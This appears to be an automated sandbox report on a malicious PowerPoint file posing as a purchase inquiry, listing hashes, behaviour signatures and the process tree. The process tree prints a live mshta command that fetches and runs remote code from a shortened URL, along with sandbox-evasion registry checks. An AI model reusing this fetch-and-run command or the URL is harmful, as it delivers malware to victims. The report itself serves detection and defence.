Analysis
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max time kernel
147s -
max time network
145s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
15-09-2021 06:33
Static task
static1
Behavioral task
behavioral1
Sample
Purchase Inquiry_pdf.ppt
Resource
win7-en
Behavioral task
behavioral2
Sample
Purchase Inquiry_pdf.ppt
Resource
win10v20210408
General
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Target
Purchase Inquiry_pdf.ppt
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Size
26KB
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MD5
42c6c6e05ac8066594a8caf9dac49943
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SHA1
c83f30ff485b3ca6a8d4068c398aeb2d7368f14f
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SHA256
26dd67c14738a6c47e2eab3cf7eae088640d406617c4630bdd0f402369cd7184
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SHA512
15df38db85f11ac6ebc7b9e059efadc63b448102cce5c031bfd6d40592cd1cc3022898332b9adc1496af3dd06bc5bf5c7ff371f7b4113ea1009a54a838ce3d0d
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
MsHTa.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 2708 900 MsHTa.exe POWERPNT.EXE -
Blocklisted process makes network request 14 IoCs
Processes:
MsHTa.exeflow pid process 20 2708 MsHTa.exe 22 2708 MsHTa.exe 24 2708 MsHTa.exe 28 2708 MsHTa.exe 29 2708 MsHTa.exe 31 2708 MsHTa.exe 35 2708 MsHTa.exe 36 2708 MsHTa.exe 37 2708 MsHTa.exe 40 2708 MsHTa.exe 41 2708 MsHTa.exe 43 2708 MsHTa.exe 44 2708 MsHTa.exe 46 2708 MsHTa.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2120 2708 WerFault.exe MsHTa.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 900 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
WerFault.exepid process 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe 2120 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
WerFault.exedescription pid process Token: SeDebugPrivilege 2120 WerFault.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
POWERPNT.EXEpid process 900 POWERPNT.EXE -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
POWERPNT.EXEMsHTa.exepid process 900 POWERPNT.EXE 900 POWERPNT.EXE 900 POWERPNT.EXE 2708 MsHTa.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
POWERPNT.EXEdescription pid process target process PID 900 wrote to memory of 2708 900 POWERPNT.EXE MsHTa.exe PID 900 wrote to memory of 2708 900 POWERPNT.EXE MsHTa.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Purchase Inquiry_pdf.ppt" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\MsHTa.exeMsHTa HTTp://bitly.com/dasdaasfasfabdjyahsd2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2708 -s 29123⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/900-122-0x00007FFD4B080000-0x00007FFD4C16E000-memory.dmpFilesize
16.9MB
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memory/900-115-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/900-116-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/900-117-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/900-118-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/900-119-0x00007FFD4E040000-0x00007FFD4FC1D000-memory.dmpFilesize
27.9MB
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memory/900-114-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/900-123-0x00007FFD49180000-0x00007FFD4B075000-memory.dmpFilesize
31.0MB
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memory/900-287-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/900-288-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/900-289-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/900-290-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmpFilesize
64KB
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memory/2708-270-0x0000000000000000-mapping.dmp